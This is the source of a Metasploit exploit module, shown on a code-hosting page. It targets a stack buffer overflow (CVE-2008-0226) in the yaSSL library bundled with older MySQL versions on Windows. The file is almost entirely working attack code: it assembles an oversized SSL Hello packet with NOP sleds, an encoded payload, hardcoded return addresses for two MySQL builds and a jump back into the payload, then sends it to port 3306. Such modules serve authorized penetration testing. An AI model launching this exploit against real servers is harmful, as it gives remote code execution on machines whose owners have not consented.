CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_yassl_hello.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
16
implementation bundled with MySQL <= 6.0. By sending a specially crafted
17
Hello packet, an attacker may be able to execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-0226' ],
24
[ 'OSVDB', '41195'],
25
[ 'BID', '27140' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
36
'StackAdjustment' => -3500,
37
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
43
[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2008-01-04'))
47
48
register_options([ Opt::RPORT(3306) ], self)
49
end
50
51
def exploit
52
connect
53
54
sock.get_once
55
56
req_uno = [0x01000020].pack('V')
57
58
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
59
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
60
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
61
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
62
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
63
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
64
req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
65
req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
66
67
print_status("Trying target #{target.name}...")
68
69
sock.put(req_uno)
70
sock.put(req_dos)
71
72
handler
73
disconnect
74
end
75
end
76
77